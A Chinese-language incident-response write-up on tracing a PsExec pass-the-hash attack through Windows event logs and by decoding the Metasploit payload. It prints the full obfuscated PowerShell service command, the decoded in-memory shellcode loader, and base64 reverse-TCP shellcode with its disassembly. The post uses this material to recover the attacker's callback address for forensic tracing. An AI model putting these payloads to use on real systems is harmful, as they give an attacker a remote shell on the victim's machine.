Psexec溯源

本文目的为记述攻防模拟中Psexec执行后的溯源知识点。

1. 安全日志解析

使用Metasplot中的/exploit/windows/smb/psexec_psh模块,payload为meterpreter/reverse_tcp进行Pth攻击。

在靶机上的日志windows日志->系统日志->ID 7045会有执行Psexec的记录

image-20200325163730525

查看详细信息,能看到执行的账户信息——SID

image-20200325172725319

用WMI查询域内的用户信息SID

C:\Users\xxx> wmic useraccount  get sid,Caption
Caption            SID
GOD\Administrator  S-1-5-21-2952760202-1353902439-2381784089-500
GOD\krbtgt         S-1-5-21-2952760202-1353902439-2381784089-502
GOD\liukaifeng01   S-1-5-21-2952760202-1353902439-2381784089-1000

对照SID可知,是GOD\Administrator执行的远程命令。

对此,其他安全研究员总结出了其他一些可能会产生的日志,在此作为记录。

  1. PSEXESVC服务将会安装在远程系统中,此时将会生成Event 4697和Event 7045这两种事件日志。需要注意的是,Event 4697日志记录将有可能包含账号信息。

  2. 还有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。

  3. 可执行程序PSEXESVC.EXE将会被提取至Windows目录下,然后再执行远程操作。

https://kknews.cc/tech/qeqk8py.html

2. 解码powershell

再来继续追查执行的powershell代码。

服务名称: KyXUNYhzWKXprClF
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAAUHe14CA7VW+2/aSBD+uZHyP1gVErZCMA40aSJVujVvggnEQHgUnRZ7bS9Ze8Fe8+r1f78x4DRV07v2pLPyWO/OzM58882MnTiwBOWBtLimnvTl/OxdF4fYl+TMhtRyUmb7JzOUd+9gP+N0htsr6ZMkT9FyWeE+psHs7q4chyEJxPE9XycCRRHx54ySSFakv6Qnj4Tk8mG+IJaQvkiZP/N1xueYncR2ZWx5RLpEgZ2ctbmFE3fy5pJRIWc/f84q00ttlq+uYswiOWvuIkH8vM1YVpG+KsmF/d2SyFmDWiGPuCPyTzQoXuUHQYQd0gFra2IQ4XE7yioQBvyERMRhIB0DSiwcz+UsLLsht5BthySKsjlpmtiezmZ/yNPTxY9xIKhP8s1AkJAvTRKuqUWifAMHNiOPxJmBlilCGrgzRQGxNX8mciaIGctJv2NG7pBNCtuvKsmvlUCqK0IlB6l8K1CD2zEjR9XsG54m+VfgSTkA2H09Pzs/c1LCOA/XndeEgdW76WFNwD25yyN6kPskFXKSAfdgwcMdvGb6YUyU2Qu4UiY0y5Pcz/W1VBhE9x2/CFvTIaf2DFROKc2wtcFXycHPuVkhDg1IZRdgn1op/eS3cCYOI4cg86lYB7ySs6cDYlcIIy4WCXBJun9Qq/pUvOjqMWU2CZEFuYrAK0ij8r0zx1zI2WZgEB9AOr4D/zIOkJ6k0iei79Lbk3cQypYZjqKc1I2h6qycZBLMiJ2TUBDR0xGKBT8ss9/cNWImqIUjkZqbKS9Ani4s8yASYWxB4iD4vrkkFsUswSInNahN9J1J3fTi7JtIlDFjUAtgaQ2ZgJ0EAVMkdAjBx0PqlbxJRNNfMuKDzKH+awy7UO0nxh/4g11iZ39wMWX0kb4JGikMrxyEFJuMi5w0pKGAPpIgmxDpv93/qoMcPSmH5JQNOa2Sqb4TCbcz9npLbhNenqA5ABEKAKEWcl/HEbkuHduF/F59oGUEz7gZMMPSn6mGNlRrGvA7oMUmr9zY961FQw0rW89BzahpNLqVXqNRWrfMYUmY1aa47zaFUR0tFiZqPA7GYtJEjT4tPI9L+2WL7s02ssdb9Xqv7zcFfbtfuLYzrjiOe+OYj9qHGm0/lXt64Qq3K9W4/aRv9EIpqtJNo0cHvedWTczHQ4YHjuqOtFtMt+1wMdS4sW8iVPeK1r7lDOueYe/GDUoWaqFNe6iH0L31OBjU3aVbj5B6O1yV/QVaVcwuRuCdX259YHpvUNPRoKr38APvFi8qqjaxV9XaZIRbPrPrDVUbj5CNQrXvetrNgxckOGFXX+mJDGpPdjUVZLol1Chd0f1k1au7qAoyQ58jXKPPg4sR2Oz0QedpoNkciaA5UtWhq7rIMb0xRjpI6ytU03l597FrdNXh8MrT5s+aBz6T0fqj0UIXNaurquqFP4e/KrKM5TYY6Zubtdsw+T2+x8P1pKhq/U3dQSt0caFr+lw0qsXWGu7tq7eDT+8TBgGFMhy9YsXPOruBw8jDDNgCHTut0xoPa6cm3OU00ZDlw/R+JmFAGMw+mI4p1RFj3EqGwKFdwwA6joVkSg1gWbx6c6VIL4LKt9mQbt3dTcBLKJ4DufNtErjCyxW2xUIBWn1hWypAkL8eWpkvd/LRVi6ZFQDNi212sK0kJZWZs0H19v8F7VTJHvyz/w20b3v/cPpLQBZyScg/bH6/8VuQ/nbgT5gKkDShDzFynIZvx3/ix6sPhkNaIPvO6Uk++h5icdmBD4nzs78BLEJS2GAKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"

代码有点绕,我们可以直接使用 Unit42安全团队的powershell自动反混淆工具

https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

python3 PowerShellProfiler.py -f ./test_power.txt -d

然后就可以直接看到要执行的核心powershell代码

image-20200325164205204

当然我们也可以按照函数的本意,在这里 https://gchq.github.io/CyberChef 按照代码逻辑一步一步decode。

锻炼一下动手能力 :)

FromBase64 + Gunzip

image-20200325164827994

于是我们得到核心powershell代码,如下:

function j6ih {
    Param ($weF, $x_lM)     
    $fNVx2 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where - Object {
        $_.GlobalAssemblyCache  - And $_.Location.Split('\\')[ - 1].Equals('System.dll') 
    }

    ).GetType('Microsoft.Win32.UnsafeNativeMethods')
    return $fNVx2.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New - Object System.Runtime.InteropServices.HandleRef((New - Object IntPtr), ($fNVx2.GetMethod('GetModuleHandle')).Invoke($null, @($weF)))), $x_lM))
}

function fO6N {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $rSCZ, [Parameter(Position = 1)] [Type] $zNm3 = [Void]
    )
    $lvMoq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New - Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $lvMoq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $rSCZ).SetImplementationFlags('Runtime, Managed')
    $lvMoq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $zNm3, $rSCZ).SetImplementationFlags('Runtime, Managed')
    return $lvMoq.CreateType()
}

[Byte[]]$dvxe9 = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqDSPaAIAHmCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")

$oA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll VirtualAlloc), (fO6N @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $dvxe9.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($dvxe9, 0, $oA, $dvxe9.length)
$blUE9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll CreateThread), (fO6N @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $oA, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j6ih kernel32.dll WaitForSingleObject), (fO6N @([IntPtr], [Int32]))).Invoke($blUE9, 0xffffffff) | Out - Null

3. ShellCode

kernel32.dllVirtualAlloc容易判断出,变量$dvxe9是Base64后的Shellcode。

用python Base64解一下,变成\x00\xff\x12\x33这样的十六进制格式,方便后续解码。

>>> from base64 import b64decode as d
>>> code = ""
>>> print("".join(list(map(lambda y:"\\x%x"%y,d(code)))))

存文件丢IDA或者直接放在线网站解shellcode

http://shell-storm.org/online/Online-Assembler-and-Disassembler/

得到汇编

0x0000000000000000:  FC                   cld    
0x0000000000000001:  E8 82 00 00 00       call   0x88
0x0000000000000006:  60                   pushal 
0x0000000000000007:  89 E5                mov    ebp, esp
0x0000000000000009:  31 C0                xor    eax, eax
0x000000000000000b:  64 8B 50 30          mov    edx, dword ptr fs:[eax + 0x30]
0x000000000000000f:  8B 52 0C             mov    edx, dword ptr [edx + 0xc]
0x0000000000000012:  8B 52 14             mov    edx, dword ptr [edx + 0x14]
0x0000000000000015:  8B 72 28             mov    esi, dword ptr [edx + 0x28]
0x0000000000000018:  0F B7 4A 26          movzx  ecx, word ptr [edx + 0x26]
0x000000000000001c:  31 FF                xor    edi, edi
0x000000000000001e:  AC                   lodsb  al, byte ptr [esi]
0x000000000000001f:  3C 61                cmp    al, 0x61
0x0000000000000021:  7C 02                jl     0x25
0x0000000000000023:  2C 20                sub    al, 0x20
0x0000000000000025:  C1 CF 0D             ror    edi, 0xd
0x0000000000000028:  01 C7                add    edi, eax
0x000000000000002a:  E2 F2                loop   0x1e
0x000000000000002c:  52                   push   edx
0x000000000000002d:  57                   push   edi
0x000000000000002e:  8B 52 10             mov    edx, dword ptr [edx + 0x10]
0x0000000000000031:  8B 4A 3C             mov    ecx, dword ptr [edx + 0x3c]
0x0000000000000034:  8B 4C 11 78          mov    ecx, dword ptr [ecx + edx + 0x78]
0x0000000000000038:  E3 48                jecxz  0x82
0x000000000000003a:  01 D1                add    ecx, edx
0x000000000000003c:  51                   push   ecx
0x000000000000003d:  8B 59 20             mov    ebx, dword ptr [ecx + 0x20]
0x0000000000000040:  01 D3                add    ebx, edx
0x0000000000000042:  8B 49 18             mov    ecx, dword ptr [ecx + 0x18]
0x0000000000000045:  E3 3A                jecxz  0x81
0x0000000000000047:  49                   dec    ecx
0x0000000000000048:  8B 34 8B             mov    esi, dword ptr [ebx + ecx*4]
0x000000000000004b:  01 D6                add    esi, edx
0x000000000000004d:  31 FF                xor    edi, edi
0x000000000000004f:  AC                   lodsb  al, byte ptr [esi]
0x0000000000000050:  C1 CF 0D             ror    edi, 0xd
0x0000000000000053:  01 C7                add    edi, eax
0x0000000000000055:  38 E0                cmp    al, ah
0x0000000000000057:  75 F6                jne    0x4f
0x0000000000000059:  03 7D F8             add    edi, dword ptr [ebp - 8]
0x000000000000005c:  3B 7D 24             cmp    edi, dword ptr [ebp + 0x24]
0x000000000000005f:  75 E4                jne    0x45
0x0000000000000061:  58                   pop    eax
0x0000000000000062:  8B 58 24             mov    ebx, dword ptr [eax + 0x24]
0x0000000000000065:  01 D3                add    ebx, edx
0x0000000000000067:  66 8B 0C 4B          mov    cx, word ptr [ebx + ecx*2]
0x000000000000006b:  8B 58 1C             mov    ebx, dword ptr [eax + 0x1c]
0x000000000000006e:  01 D3                add    ebx, edx
0x0000000000000070:  8B 04 8B             mov    eax, dword ptr [ebx + ecx*4]
0x0000000000000073:  01 D0                add    eax, edx
0x0000000000000075:  89 44 24 24          mov    dword ptr [esp + 0x24], eax
0x0000000000000079:  5B                   pop    ebx
0x000000000000007a:  5B                   pop    ebx
0x000000000000007b:  61                   popal  
0x000000000000007c:  59                   pop    ecx
0x000000000000007d:  5A                   pop    edx
0x000000000000007e:  51                   push   ecx
0x000000000000007f:  FF E0                jmp    eax
0x0000000000000081:  5F                   pop    edi
0x0000000000000082:  5F                   pop    edi
0x0000000000000083:  5A                   pop    edx
0x0000000000000084:  8B 12                mov    edx, dword ptr [edx]
0x0000000000000086:  EB 8D                jmp    0x15
0x0000000000000088:  5D                   pop    ebp
0x0000000000000089:  68 33 32 00 00       push   0x3233
0x000000000000008e:  68 77 73 32 5F       push   0x5f327377
0x0000000000000093:  54                   push   esp
0x0000000000000094:  68 4C 77 26 07       push   0x726774c
0x0000000000000099:  89 E8                mov    eax, ebp
0x000000000000009b:  FF D0                call   eax
0x000000000000009d:  B8 90 01 00 00       mov    eax, 0x190
0x00000000000000a2:  29 C4                sub    esp, eax
0x00000000000000a4:  54                   push   esp
0x00000000000000a5:  50                   push   eax
0x00000000000000a6:  68 29 80 6B 00       push   0x6b8029
0x00000000000000ab:  FF D5                call   ebp
0x00000000000000ad:  6A 0A                push   0xa
0x00000000000000af:  68 C0 A8 34 8F       push   0x8f34a8c0
0x00000000000000b4:  68 02 00 1E 60       push   0x601e0002
0x00000000000000b9:  89 E6                mov    esi, esp
0x00000000000000bb:  50                   push   eax
0x00000000000000bc:  50                   push   eax
0x00000000000000bd:  50                   push   eax
0x00000000000000be:  50                   push   eax
0x00000000000000bf:  40                   inc    eax
0x00000000000000c0:  50                   push   eax
0x00000000000000c1:  40                   inc    eax
0x00000000000000c2:  50                   push   eax
0x00000000000000c3:  68 EA 0F DF E0       push   0xe0df0fea
0x00000000000000c8:  FF D5                call   ebp
0x00000000000000ca:  97                   xchg   eax, edi
0x00000000000000cb:  6A 10                push   0x10
0x00000000000000cd:  56                   push   esi
0x00000000000000ce:  57                   push   edi
0x00000000000000cf:  68 99 A5 74 61       push   0x6174a599
0x00000000000000d4:  FF D5                call   ebp
0x00000000000000d6:  85 C0                test   eax, eax
0x00000000000000d8:  74 0A                je     0xe4
0x00000000000000da:  FF 4E 08             dec    dword ptr [esi + 8]
0x00000000000000dd:  75 EC                jne    0xcb
0x00000000000000df:  E8 67 00 00 00       call   0x14b
0x00000000000000e4:  6A 00                push   0
0x00000000000000e6:  6A 04                push   4
0x00000000000000e8:  56                   push   esi
0x00000000000000e9:  57                   push   edi
0x00000000000000ea:  68 02 D9 C8 5F       push   0x5fc8d902
0x00000000000000ef:  FF D5                call   ebp
0x00000000000000f1:  83 F8 00             cmp    eax, 0
0x00000000000000f4:  7E 36                jle    0x12c
0x00000000000000f6:  8B 36                mov    esi, dword ptr [esi]
0x00000000000000f8:  6A 40                push   0x40
0x00000000000000fa:  68 00 10 00 00       push   0x1000
0x00000000000000ff:  56                   push   esi
0x0000000000000100:  6A 00                push   0
0x0000000000000102:  68 58 A4 53 E5       push   0xe553a458
0x0000000000000107:  FF D5                call   ebp
0x0000000000000109:  93                   xchg   eax, ebx
0x000000000000010a:  53                   push   ebx
0x000000000000010b:  6A 00                push   0
0x000000000000010d:  56                   push   esi
0x000000000000010e:  53                   push   ebx
0x000000000000010f:  57                   push   edi
0x0000000000000110:  68 02 D9 C8 5F       push   0x5fc8d902
0x0000000000000115:  FF D5                call   ebp
0x0000000000000117:  83 F8 00             cmp    eax, 0
0x000000000000011a:  7D 28                jge    0x144
0x000000000000011c:  58                   pop    eax
0x000000000000011d:  68 00 40 00 00       push   0x4000
0x0000000000000122:  6A 00                push   0
0x0000000000000124:  50                   push   eax
0x0000000000000125:  68 0B 2F 0F 30       push   0x300f2f0b
0x000000000000012a:  FF D5                call   ebp
0x000000000000012c:  57                   push   edi
0x000000000000012d:  68 75 6E 4D 61       push   0x614d6e75
0x0000000000000132:  FF D5                call   ebp
0x0000000000000134:  5E                   pop    esi
0x0000000000000135:  5E                   pop    esi
0x0000000000000136:  FF 0C 24             dec    dword ptr [esp]
0x0000000000000139:  0F 85 70 FF FF FF    jne    0xaf
0x000000000000013f:  E9 9B FF FF FF       jmp    0xdf
0x0000000000000144:  01 C3                add    ebx, eax
0x0000000000000146:  29 C6                sub    esi, eax
0x0000000000000148:  75 C1                jne    0x10b
0x000000000000014a:  C3                   ret    
0x000000000000014b:  BB E0 1D 2A 0A       mov    ebx, 0xa2a1de0
0x0000000000000150:  68 A6 95 BD 9D       push   0x9dbd95a6
0x0000000000000155:  FF D5                call   ebp
0x0000000000000157:  3C 06                cmp    al, 6
0x0000000000000159:  7C 0A                jl     0x165
0x000000000000015b:  80 FB E0             cmp    bl, 0xe0
0x000000000000015e:  75 05                jne    0x165
0x0000000000000160:  BB 47 13 72 6F       mov    ebx, 0x6f721347
0x0000000000000165:  6A 00                push   0
0x0000000000000167:  53                   push   ebx
0x0000000000000168:  FF D5                call   ebp

显然,这是msf的生成的默认shellcode,其中在偏移0x000af0x000b4处,分别为反弹的十六进制IP地址以及端口

0x00000000000000ad:  6A 0A                push   0xa
0x00000000000000af:  68 C0 A8 34 8F       push   0x8f34a8c0
0x00000000000000b4:  68 02 00 11 46       push   0x601e0002
0x00000000000000b9:  89 E6                mov    esi, esp
0x00000000000000bb:  50                   push   eax
0x00000000000000bc:  50                   push   eax
0x00000000000000bd:  50                   push   eax
0x00000000000000be:  50                   push   eax
0x00000000000000bf:  40                   inc    eax
0x00000000000000c0:  50                   push   eax
0x00000000000000c1:  40                   inc    eax
0x00000000000000c2:  50                   push   eax
0x00000000000000c3:  68 EA 0F DF E0       push   0xe0df0fea
0x00000000000000c8:  FF D5                call   ebp

偷懒直接在线转了 IP地址转换

image-20200325170635618
image-20200325170854141

唯一要注意的是参数是小端存储的

于是我们在溯源时可以按步骤提取,寻找上一个跳板机,说不定会有更大的收获呢。

4. 补充

4.1 CS的Psexec(bind_smb_listener)

另外,CS中的PsexecPsexec(psh)的执行原理基本同上(使用的是bind_smb_listener,如果使用其他listener则数据通道部分会不同)

  1. 远程创建服务(随机服务名);
  2. 启动服务调用%ComSpec%(cmd.exe),运行powershell脚本,脚本会本地创建用于传输Stager的通道staus_xxx以及后续数据传输管道msagent_xxx
  3. 远程连接管道staus_xxx,传输Stager;
  4. 后续数据通过传输管道msagent_xxx传输;